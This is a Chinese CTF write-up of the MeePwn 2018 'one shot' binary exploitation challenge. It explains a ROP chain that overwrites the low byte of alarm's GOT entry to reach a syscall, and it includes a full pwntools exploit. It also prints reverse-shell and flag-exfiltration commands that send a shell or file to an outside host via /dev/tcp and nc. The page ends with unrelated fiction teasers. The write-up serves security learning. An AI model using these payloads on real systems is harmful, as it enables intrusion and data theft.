MeePwnCTF2018:one shot

ROP + 反弹shell

Meepwn CTF 2018 -- one shot分析

题目分析

主函数逻辑

main.png

可以看到主函数中主要做了三件事:

  • 读入用户输入(存在栈溢出)

  • 关闭标准输入、标准输出、标准错误流(这样我们就无法和程序正常交互了)

  • 执行check函数,如果check通过就正常返回;如果不通过,就直接退出。

check逻辑

check.png

check检查你的输入的前4位是否是0x8a919ff0,因此我们后面写payload的时候需要先写这四个字节。

保护情况

checksec.png

仅仅开启了栈不可执行保护,可以ROP攻击。

难点

没有标准输出

就算我们能够通过某些骚操作让程序成功执行了shell命令,但是由于我们不能和程序交互,所以我们得不到命令执行的结果。

只有一次向程序输入的机会

因为程序关闭了stdin、stdout和stderr,这使得我们在第一次输入之后就和程序失去了联系,这将带来以下问题:

  • 无法知道任何动态加载的地址(如libc库函数地址和堆、栈地址),这使得常规ROP无法使用

  • 无法传入字符串参数,如/bin/bash,因为没有库函数(比如write,memcpy)的帮助,不能实现任意地址写。

  • 无法从libc中获取现成的/bin/sh参数

这也是这题为什么叫one shot的原因:)

解决方案

难点1 解决方案

难点1比较好解决,可以用shell命令反弹shell到自己的外网主机:

如命令/bin/bash -c \"bash -i >& /dev/tcp/1.1.1.1/9999 0>&1\"

也可以直接将flag发回自己的外网主机:

如命令/bin/bash -c \"cat /home/one_shot/flag|nc 1.1.1.1 9999\"

至于上面的flag的目录,可以通过经验猜测,也可以通过其他题目得到的shell中的文件命名规则来推理。

难点2解决方案

我们之前分析过,我们无法得到这个程序在远程机器上的任何动态加载的地址,这就意味着我们虽然能够控制程序的执行流,但是却不知道该控制它往哪里执行,因为想要执行一个系统命令,比较广泛使用的有以下技巧:

  1. 修改某个函数的got.plt使其指向system函数的libc地址,并通过ROP传入适当的参数,最后调用这个函数,就能通过system执行系统命令

  2. 通过ROP布置好eax,rdi,rsi,rdx的值,然后通过直接调用syscall来执行系统命令。

就目前的分析来看,我们无法做到上面的任何一点,但是通过深入分析程序,可以发现此题并非无解。

  • 构造任意地址写

    OpenToAll战队的题解中,使用了一个巧妙的方法来构造任意地址写,我们回过头来看check函数,但是这次我们直接看它的汇编代码:

可以看到在0x400684~0x40069f这段代码,将rdi存储的地址中的值依次复制到rsi寄存器存储的地址中,复制的长度为eax中存储的值,并且这个函数一直到执行结束都没有对栈底的修改操作,因此这个函数执行完,我们还是可以继续ROP。那么我们通过ROP来控制rdi、rsi以及eax的值,就能够实现任意地址写。

  • 写入字符串参数

    程序中当然不会有我们想要的反弹shell的命令,因此我们需要通过那唯一的一次输入来写入我们要执行的命令,但是我们知道这次输入是存储在栈上的,而栈地址是我们不可知的,那么我们现在要做的就是将栈上的数据转移到一个我们知道的地址中去。

    这也是一个很难发现的点,但是人家就是发现了orz。仔细观察开篇处的check函数,可以看到这个函数的第一个参数是&buf即一个栈地址,存储在rdi中,且在这个函数返回时,rdi的值存储的是buf+4

    main函数中,在check返回之后也并没有对rdi做任何修改,因此得到一个重要的结论:main函数返回时,rdi存储的就是存有我们输入的栈地址值。

    因此我们通过ROP来布置rsi,eax的值之后,就可以用上一步构造的任意地址写来将我们的输入复制到一个我们知道的可写的地址,这个地址的获得可以在本地调试一下这个程序,找到一个用户空间中的可写地址即可,如下图:

    find_writable.png

0x601000~0x602000都是可读可写的,我们从中随意取一个地址来用即可。

  • 获取syscall

    解决了传参的问题,现在要解决最关键的问题:找到syscall的地址

    通过上面的分析,我们并不知道syscall的地址,但是可以通过覆盖alarm函数的got.plt表的最后一字节来实现:

    • 题目是给了目标系统的libc的,我们来看看alarm在该系统库中的实现:

alarm.png

​ 看到这个函数中就有syscall,接下来想办法使用这个syscall即可。

  • 我们知道,在Linux操作系统中,加载基址是页对齐的(4K),因此尽管libc的加载基址随机,其最后12位也一定是全0。因此libc中的函数的最后三个字节在不同的系统上都是相同的,我们假设libc加载基址是0xffff00000则这个alarm函数的运行时地址就是0xffffb8140,这个地址会通过延迟绑定,被写入到got.plt表中,而如果在这个地址被写入got.plt之后,我们修改got.plt的对应表项的最后一字节为0x45,那么这个got.plt实际上存储的是0xffffb8145就是syscall的地址。

  • 接下来我们对alarm的调用都变成了对syscall的调用。

克服了上面的两个难点,接下来就是正常的ROP了,通过上面的分析,我们需要能够实现以下功能的gadget:

  • 给eax赋值

  • 给rdi赋值

  • 给rsi赋值

我使用的gatget都已经在exp的注释中标明。

需要注意的地方

调用syscall来执行execve时,需要往rdx寄存器中存储一个指向null的指针,否则不能正常执行。这里有个trick:通过跳转到puts的plt表来调用puts函数,可以达到上述效果。(经过跟踪流程发现,具体的清空rdx的操作并不是在puts函数中完成,而是在plt跳转后的dl_resolve过程中的dl_fixup函数中完成,又测试了另一个需要dlresolve解析的库函数exit,也能清空rdx =。=)

exp


from pwn import *

libc = ELF("./libc-2.24.so")

io = process("./one_shot",env={"LD_PRELOAD":"./libc-2.24.so"})

copy_function_addr = 0x400684

pop_rdi_ret = 0x400843

pop_rsi_r15_ret = 0x400841

alarm_got = 0x0601020

alarm_plt = 0x0400520

set_eax = 0x04006F7# mov eax, dword ptr [rbp - 0xc]; pop rbx; pop rbp; ret;

set_rbp = 0x4005c0 #pop rbp; ret;

writeable_addr =0x601600  # bss start

len_addr = 0x4002D0 #contains 0x1

random_writeable_addr = 0x601100 # junk addr for rbp

puts_plt = 0x400510

#writeable_addr contains command string "/bin/sh -c echo "hello world" | nc 127.0.0.1 1337"

#["/bin/sh","-c","echo 'hello world' | nc 127.0.0.1 1337"]

payload = p32(0x8A919FF0) + p32(0x3b)

payload += "/bin/sh\x00-c\x00echo 'hello world'|nc 127.0.0.1 1337\x00"

cmdLen = len(payload)

payload += p64(writeable_addr + 4)

payload+= p64(writeable_addr + 4 + 8)#point to -c

payload += p64(writeable_addr + 4 + 8 + 3)#point to echo....

payload = payload.ljust(0x88,"A")

payload += p64(set_rbp)

#now rdi is pointed to the stack buf addr,set rsi and eax

payload += p64(0x400220 + 0x0c)#0x0400368 contains 0x208

payload += p64(set_eax)

payload += "junkjunk"#rbx

payload += p64(random_writeable_addr)#rbp

payload += p64(pop_rsi_r15_ret)

payload += p64(writeable_addr)

payload += "junkjunk" #r15

#copy 0x208 bytes from stack buf to writeable address

payload += p64(copy_function_addr)

payload += "junkjunk"#rbx

payload += p64(random_writeable_addr)#rbp

#set rbp to the len address + 0x0c

payload += p64(set_rbp)

payload += p64(len_addr+0x0c)

#mov eax,dword ptr[rpb - 0x0c]

payload += p64(set_eax)

payload += "junkjunk"# rbx

payload += p64(random_writeable_addr)# rbp

#set rdi,rsi

payload += p64(pop_rdi_ret)

payload += p64(0x4009CB)#contains 0x45 

payload += p64(pop_rsi_r15_ret)

payload += p64(alarm_got)

payload += "junkjunk" # r15

# copy 0x45 to the last byte of alarm_got,pointing to syscall

# so we can use alarm as syscall

payload += p64(copy_function_addr)

payload += "junkjunk"#rbx

payload += p64(random_writeable_addr) # rbp

payload += p64(puts_plt)# to set rdx to null

#set eax to 0x3b (execve's syscall number)

payload += p64(set_rbp)

payload += p64(writeable_addr + 0x0c) #store 0x3b(dw)

payload += p64(set_eax)

payload += "junkjunk" #rbx

payload += p64(random_writeable_addr)#rbp

#set rdi and rsi to cat flag

payload += p64(pop_rsi_r15_ret)

payload += p64(writeable_addr + cmdLen - 4)

payload += "junkjunk"#r15

payload += p64(pop_rdi_ret)

payload += p64(writeable_addr + 4)# start of /bin/sh

payload += p64(alarm_plt) #syscall,get flag!

io.sendline(payload)

sleep(10)

心得体会

  • 在x64下使用ROP需要密切关注寄存器的操作,本题中的任意地址写其实不难发现,不要过于依赖工具和F5。

  • 在无法泄露地址的情况下,应该往修改低字节的方向思考,说不定会有启发。

  • 细心。。。那个buf的地址真是挺难发现的。

  • 在关闭了出入输出流的情况下,可以用反弹shell绕过。

其他方法

  • ret2dlresolve(正在研究六星战队的wp)

  • srop(更麻烦)

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,776评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,527评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,361评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,430评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,511评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,544评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,561评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,315评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,763评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,070评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,235评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,911评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,554评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,173评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,424评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,106评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,103评论 2 352

推荐阅读更多精彩内容

  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 3,315评论 0 2
  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,678评论 0 2
  • 一、bugkuctf pwn4(栈,ROP,system($0)) 图1很容易看出来read函数栈溢出 紧接着就是...
    ywledoc阅读 1,600评论 0 1
  • BROP对存在栈溢出的ELF进行指令盲注,Papper描述攻击可谓充满了艺术。要满足BROP,需要几个条件:1.进...
    clive0x阅读 940评论 0 1
  • 跟着大萌画的,一幅画,从开工到完工,花了整整一个月。很高兴,我还是完成了。 红辉48色和肯特纸。
    Cola猫咪阅读 212评论 8 7